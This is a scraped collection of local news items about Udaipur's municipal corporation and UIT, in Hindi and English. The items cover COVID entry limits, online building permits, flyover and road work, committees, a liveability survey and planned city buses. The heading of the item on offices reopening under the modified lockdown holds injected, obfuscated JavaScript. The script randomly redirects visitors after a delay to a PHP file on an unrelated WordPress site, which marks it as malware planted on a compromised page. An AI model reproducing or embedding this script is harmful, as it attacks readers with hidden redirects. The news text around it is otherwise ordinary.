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उदयपुर नगर निगम कार्यालय में आमजन का प्रवेश प्रतिबंधित

Nagar Nigam Udaipur
  • उदयपुर नगर निगम आयुक्त ने जारी किया आदेश।
  • निगम कार्यालय में आमजन का प्रवेश प्रतिबंधित।
  • समस्या/ शिकायत के लिए निगम मैन गेट पर स्थित आवक जावक कक्ष पर दे सकतें हैं प्रार्थना पत्र।
  • अति आवश्यक कार्यों के लिए ही आमजन को प्रवेश की अनुमति।

उदयपुर में कोरोना के लगातार बढ़ संक्रमण के बावजूद नगर निगम कार्यालय में आम लोगों को तांता बना रहता है और बेवजह ही कार्यालय में भीड़ बनी रहती है। इसी के मद्देनज़र नगर निगम आयुक्त कमर चौधरी ने आम लोगों का नगर निगम कार्यालय में प्रवेश पूर्णतया प्रतिबंधित कर दिया गया है। आदेशानुसार बिना किसी विशेष कारण लोगों को अग्रिम आदेश तक निगम में प्रवेश नहीं दिया जायेगा।

कार्यालय में राजकीय कार्य के लिए आमजन की किसी भी प्रकार की समस्या/ शिकायत के लिए निगम के मैन गेट पर स्थित आवक जावक कक्ष पर प्रार्थना पत्र दे सकतें हैं। केवल अति आवश्यक कार्यों के लिए ही आमजन नगर निगम उदयपुर में प्रवेश की अनुमति मिलेगी।

निगम आयुक्त के अनुसार नगर निगम द्वारा सभी कार्य तय समय में पुरे किए जा रहे हैं। फिर भी अगर किसी प्रकार की कोई शिकायत, परेशानी या सुझाव होने पर पत्र लिख नगर निगम मुख्य द्वार पर स्थित आवक जावक शाखा में दिया जा सकता है।

पहले भी उदयपुर नगर निगम के कई कर्मचारी और पार्षद कोरोना पॉजिटिव पाए गए हैं। नगर निगम उप महापौर एवं स्वास्थ्य समिति अध्यक्ष पारस सिंघवी के अनुसार उदयपुर शहर में लगातार बढ़ रहे कोरोना संक्रमण के बावजूद लोग बिना किसी ज़रूरी वजह के नगर निगम में उपस्थिति दर्ज करवा रहे हैं। जिन कार्यों में प्रार्थी का उपस्थित रहना ज़रूरी नहीं होता है, तब भी लोग कार्यालय में आते हैं। इसी अनावश्यक आवक-जावक पर लगाम लगाने के लिए बिना किसी विशेष कारण लोगों के प्रवेश पर अग्रिम आदेश तक निगम में प्रवेश के लिए प्रतिबंध लगाया है।

निगम महापौर गोविंद सिंह टांक ने उदयपुर वासियों से अपील की है कि बिना किसी विशेष कार्य के घरों से बाहर नहीं निकालें। साथ ही ज्यादा भीड़भाड़ वाली जगहों पर कम से कम जाना चाहिए। अति आवश्यक कार्य होने पर ही घरों से बाहर निकलें एवं निकलते समय मास्क का प्रयोग करें।

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निर्माण स्वीकृति और नामांतरण प्रक्रिया होगी ऑनलाइन

Nagar Nigam Udaipur

नगर निगम की भवन अनुमति समिति की बैठक में लिया निर्णय

  • 500 sq. mt. तक के भूखंड पर निर्माण स्वीकृति और सभी नामांतरण की प्रक्रिया होगी ऑनलाइन।
  • 21 दिनों में नामांतरण का काम पूरा करा सकेंगे आवेदक।
  • 60 दिनों में जारी की जाएगी भवन अनुमति।

नगर निगम की भवन अनुमति समिति की गुरुवार काे हुई बैठक में तय किया की 500 वर्ग मीटर तक के भूखंड पर निर्माण स्वीकृति और सभी नामांतरण की प्रक्रिया सोमवार से ऑनलाइन की जाएगी।

500 वर्ग मीटर से छाेटे भूखंड पर निर्माण अनुमति और सभी तरह के नामांतरण के लिए आवेदन ऑनलाइन करने होंगे।

आवेदन पर किए जा सकेंगे।

http://urban.rajasthan.gov.in/content/raj/udh/nagar-nigam-udaipur/en/home.html

आवेदक 21 दिनों में नामांतरण का काम पूरा करा सकेंगे। वहीं भवन अनुमति 60 दिनों में जारी की जाएगी।

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UIT resumes Pratap Nagar flyover work

Pratap Nagar Flyover Udaipur

After the Modified Lockdown came into effect from Monday, UIT and Municipal Corporation began to resume their unfinished tasks of fly-over and repair and maintenance of roads in the city.

UIT has commenced the work of flyover at Pratapnagar Choraha while the Udaipur Municipal Corporation is has started with the road repair work.

Since the roads are almost empty due to the lockdown effect, it has become easier for the departments to carry on the tasks of in the absence of traffic.

It is noteworthy that the state government of Rajasthan has brought modified lockdown into effect in the selected regions of the state. The city administration has also laid stringent guidelines on modified lockdown in order to curb the spread of novel coronavirus.

Following the guidelines laid by the state government and city administration, the government offices have also resumed to carry out the pending tasks.

Since the company which the contract for the flyover had enough resources available like material and labour, the UIT began work of flyover construction on Tuesday morning.

UIT started the 450 metres long and 15.7 metres wide flyover work from Bhuwana to Eklingpura in April 2019 with a budget of 18.52 crores. Before the lockdown came in to effect on March 24, almost 75 per cent of the work was over.

Now, the department is availing the modified lockdown facility to complete the remaining construction work.

On the other hand, Udaipur Nagar Nigam also issued directives to resume the pending tasks. After which, the corporation started the repair work of roads from Tuesday.

The UMC has started the road repair work at Court Circle after which it is planning to complete the repair work at all other Chorahas in the city.

UIT is said to hold a meeting to discuss a layout plan for completing all the pending works.

The administration and other organisation who have resumed their work after the modified lockdown came in effect, have to ensure that social distancing and the required norms of modified lockdown are being followed.

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यूआइटी और नगर निगम के ऑफ़िस हुए शुरू

UIT $Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Nagar Nigam open during Modified Lockdown

शहर में 20 अप्रेल से संशोधित लॉकडाउन यानि मॉडीफाइड लॉकडाउन लागु हो गया जिसके तहत सरकारी विभागों को भी खोला गया। संशोधित लॉकडाउन में उदयपुर यूआइटी और नगर निगम सहित शहर के सभी सरकारी विभागों ने अपना कार्यभार सम्भाला।

लेकिन इन सभी सरकारी विभागों में आम जनता अभी नहीं जा सकेगी।

फ़िलहाल सभी सरकारी कार्यालयों जैसे नगर निगम और स्मार्ट सिटी कम्पनी में अपने पूर्व के बकाया कार्य पूरे किए जाएंगे। यूआइटी में ले-आउट प्लान के कार्य को पूरा किया जाएगा। नगर निगम और यूआइटी में ऐसे कार्य भी शुरू किए जाएंगे जिनमे श्रमिकों को आने-जाने की ज़रूरत ना हो, जहाँ वे साइट पर ही रहते हो।

इन विभागों में जिन कर्मचारियों को ड्यूटी पर बुलाया जाएगा वहीँ जाएंगे। ऐसे में जिनका काम अत्याधिक ज़रूरी न हो, वे घर पर ही रह कर लॉकडाउन का पालन करेंगे।

जिला प्रशासन के हाल ही में जारी किये आदेशों के तहत, निजी वाहनों के आने-जाने पर रोक लगा दी है। ऐसे में सभी सरकारी अधिकारी और कर्मचारी अपने विभाग का परिचय-पत्र बता कर घर से अपने कार्यालय और कार्यालय से अपने घर आ-जा सकतें हैं।

इसके अलावा जिला कलेक्टर ने यह भी कहा है की जिन उद्द्योगों को पूर्व में कर करने की अनुमति मिल गई थी, उन्हें मॉडीफाइड लॉकडाउन के दौरान फिर से अनुमति लेने के ज़रूरत नहीं है।

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शहरी विकास फ़ैसले सक्रिय रूप से क्रियान्वित कर सकेंगे उदयपुर नगर निगम के समिति अध्यक्ष

Nigam Board Committee

उदयपुर नगर निगम की बनाई 19 समितियों पर राजस्थान सरकार ने मुहर लगा दी है। अब से शहरी विकास वाले फैसलों पर सक्रिय रूप से काम कर सकेंगे नगर निगम के समिति अध्यक्ष।

उदयपुर नगर निगम के आयुक्त की ओर से निगम की साधारण सभा में गठन की गई 19 समितियों की फाइल को स्वायत शासन विभाग ने मंज़ूरी देकर इन समितियों को अधिकृत रूप से फैसला लेने का अधिकार दे दिया है। शहरी विकास को लेकर नगर निगम का नया बोर्ड अब तेज़ी से काम कर सकेगा।

जो समितियाँ अब तक सिर्फ़ परिचायात्मक बैठकें कर सकती थीं, वे अब सक्रिय होकर शहरी विकास वाले फ़ैसलों को क्रियान्वित कर सकेंगी शहर के विकास को लेकर महापौर के साथ अब 18 समिति अध्यक्षों की ओर से लिए जाने वाले फैसले भी अब साकार होकर क्रियान्वित हो सकेंगे।

नगर निगम बोर्ड ने 20 जनवरी को जिन 19 समितियों का अनुमोदन किया था, सरकार ने आयुक्त की ओर से भेजी गई उन समितियों को जस की तस अनुमोदित कर दी है।

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सीवरेज,बिजली और पानी की लाइनें हो रहीं है अंडरग्राउंड

Underground Cable Systerm

स्मार्ट सिटी प्रोजेक्ट के तहत शहर में सीवरेज सहित बिजली-पानी की लाइनें अंडरग्राउंड की जा रही है।

साथ ही शहर की ख़राब सड़कों की परेशानी से निपटने का एक्शन प्लान बनाया है जिसके तहत जो सड़क बन जाए, उससे तीन साल तक किसी भी तरह छेड़छाड़ नहीं होगी। इसके लिए सड़काें का ब्यौरा ऑनलाइन किया जाएगा जिसमें निगम के इंजीनियर हिस्ट्री ऑफ राेड्स बनाएंगे। इससे कौनसी सड़क कब बनी, यह जानने में आसानी। यह जानकारी ऑनलाइन रहने से सड़कों का रिपाेर्ट कार्ड बनेगा।

निगम इस तैयारी में है जो सड़क एक बार बन जाये, उससे तीन साल तक किसी भी तरह की छेड़छाड़ न हो।

युआईटी ने भी अपने क्षेत्र की सड़काें की री-कारपेटिंग का काम शुरू किया है। फतहसागर अाेवर फ्लाे प्वाइंट से युआईटी सर्किल तक डामर कर नया कर दिया गया है।

शहर में नई सड़कें बनने के बावजूद कई बार, सरकारी विभाग या निजी टेलीकॉम कंपनियां सड़कें खोदती हैं। पिछले वर्षों में सीवरेज लाइन, स्मार्ट सिटी के कामों, केबल आदि के लिए सड़काें काे खाेदा गया था। इन सडकों को वापस पहले जैसा भी नहीं किया जाता और क्षेत्रवासी धूल-मिट्‌टी से परेशान रहते हैं। इसी को देखते हुए निगम ने तय किया है कि अब जो भी सड़कें बनेंगी, उन्हें तीन साल तक नहीं छेड़ा जाएगा।

हिस्ट्री ऑफ राेड्स के साथ शहर में खराब सड़काें से निजात दिलाने के लिए शहर की प्रमुख सड़काें काे नगर निगम नया करेगा। इन सड़काें की जानकारी जुटाकर सड़कें बनाना शुरू किया जाएगा। शहर के बाहरी हिस्से की हर प्रमुख राेड ठीक करने का प्लान तैयार किया गया है।

सड़काें काे नया जैसा करने के लिए निगम उनकी री-कारपेटिंग करेगा। मुख़्य ट्रंक राेड, क्राॅस राेड या मुख़्य टूरिस्ट राेड पर डामर कर तैयार किया जाएगा। लगभग 50 से 70 किमी क्षेत्र में शहरभर में इनका निर्माण होगा।

मानसून में जो सड़कें पानी भरने से टूटती हैं, उनके डामरीकरण के अलावा तकनीकी काम होंगे। जिन चाैराहाें के आस-पास पानी जमा हाेने से सड़कें टूटती हैं उनके चाराें ओर सीसी सड़क बनाई जाएगी। कुछ चौराहों पर पायलट प्रोजेक्ट सफल हाेने पर सभी चाैराहे शामिल करेंगे।

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Ease of Living Index: How liveable is Udaipur?

Udaipur Citizen Feedback

Udaipur Smart City Limited (USCL) is encouraging the citizens to participate in the ongoing survey on Ease of Living Index. The digital survey would record the residents’ perception regarding various services and facilities in their respective cities.

The survey has begun from February 1 would continue till February 29.

USCL is making serious efforts to encourage Udaipurites to participate in the on-going survey. The participants will be able to give their feedback on the basic facilities like affordability for housing and quality education, the supply of water and electricity, health services, sanitation, public transportation etc.

Udaipur Smart City Limited along with the Municipal Corporation of Udaipur will be approaching educational institutions, public and private offices, voluntary organisations to spread awareness about the survey. According to Municipal Corporation Commissioner, Ankit Kumar Singh, the survey result would help in planning future projects for city improvements.

The survey aims to quantify the ease of living for citizens living in the participating cities on the 3 parameters – the quality of life, economic ability and sustainability. Each of these carries 35%, 15% and 20% share in the survey respectively.

Besides various other data reports, citizen perception is carrying 30% weightage in measuring the quality of life in various cities through this index.

To participate in the survey, click on the link below:
https://eol2019.org/Citizenfeedback

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भवन निर्माण की अनुमति अब ले सकतें हैं ऑनलाइन

Nagar Nigam Udaipur

नगर निगम भवन निर्माण अनुमति समिति की हाल ही में हुई बैठक में तय हुआ कि अब भवन निर्माण की अनुमति ऑनलाइन ही मिल जाएगी और यह अनुमति एक माह में दे दी जाएगी। नगर निगम जाना अब नहीं है अनिवार्य।

अबतक ऑनलाइन आवेदन के बाद भी निगम जाकर अनुमति लेनी हाेती थी। पर अब यह प्रक्रिया सरल कर दी जाएगी।

बैठक में यह भी तय हुआ कि जाे भी बिना अनुमति भवन निर्माण कराएगा उसके खिलाफ कार्रवाई की जाएगी। अब 21 दिन में बिना माैका निरीक्षण भी भवन निर्माण काे लेकर म्यूटेशन जारी किया जा सकेगा। पहले इस अवधि में माैका निरीक्षण जरूरी हाेता था।

वहीं लाेगाें की सुविधा काे देखते हुए यह निर्णय लिया गया कि अब हर माह में दाे बार बैठक हाेगी ताकि हर 15 दिन में फाइलाें का निस्तारण किया जा सके। भवन निर्माण की अनुमति हर हाल में एक माह में दे दी जाएगी।

समिति अध्यक्ष कोठारी ने बताया कि महापौर गोविंद सिंह टांक के निर्देश पर हुई बैठक में तय किया गया कि भवन निर्माण अनुमति देने की प्रक्रिया सरल हो।

Source: DainikBhaskar.com

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Udaipur Nagar Nigam Starts Encroachment Removal Campaign

Udaipur Update

Udaipur Nagar Nigam has started a drive to remove all the temporary encroachments that are narrowing the roads of the city. The municipal corporation of Udaipur has started this campaign to widen the streets of the city which are causing trouble to the commuters.

The special thing about this campaign is that it is not pre-scheduled. The Municipal Corporation team is reaching the market every day without giving any prior notice. This will not allow the businessmen and shopkeepers to remove the encroachment at the time of action and put it back once the Municipal Corporation team is gone.

According to the Mayor of Udaipur, G S Tank, the corporation will take this action in all the major markets of the city and it will continue doing it till the businessmen and shopkeepers get into the habit of keeping the roads encroachment free.

So far, action has been taken from Surajpol to Mukherjee Chowk.

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Udaipur will soon have City Buses for intra-city commuting

Udaipur City Transport

The year 2020 will fulfil the long-pending wish of Udaipurites to have a robust public transport system for the city commuters. By July 2020, Udaipur city will have city buses running in the city for intra-city commuting.

On the initial level, around 26 buses will be deployed to run on different routes with the city. Udaipur City Transport Company Ltd. drafted the above plan during a meeting held at the Smart City Company office last week. The meeting was presided by the Chairman of the company, Mayor Govind Singh Taak, who drafted the entire plan of action for the project.

As per the plan, the committee has also decided upon the tentative fare for different routes which would be in the range of Rs. 5 to Rs. 15 depending on the distance of travel.

Besides, the company also plans to run AC buses from Dabok Airport for people travelling to the city by air. These buses will run according to the flight arrival timings.

The committee has finalised the following route for the buses:

Route 1 – Balicha to Badgaon

Route 2 – Titardi to Badgaon

Route 3 – Rampura to Dabok

Route 4 – Amberi to Balicha

Route 5 – Goverdhan Vilas to Hiranmagri, Pratap Nagar and Pratap Gourav Kendra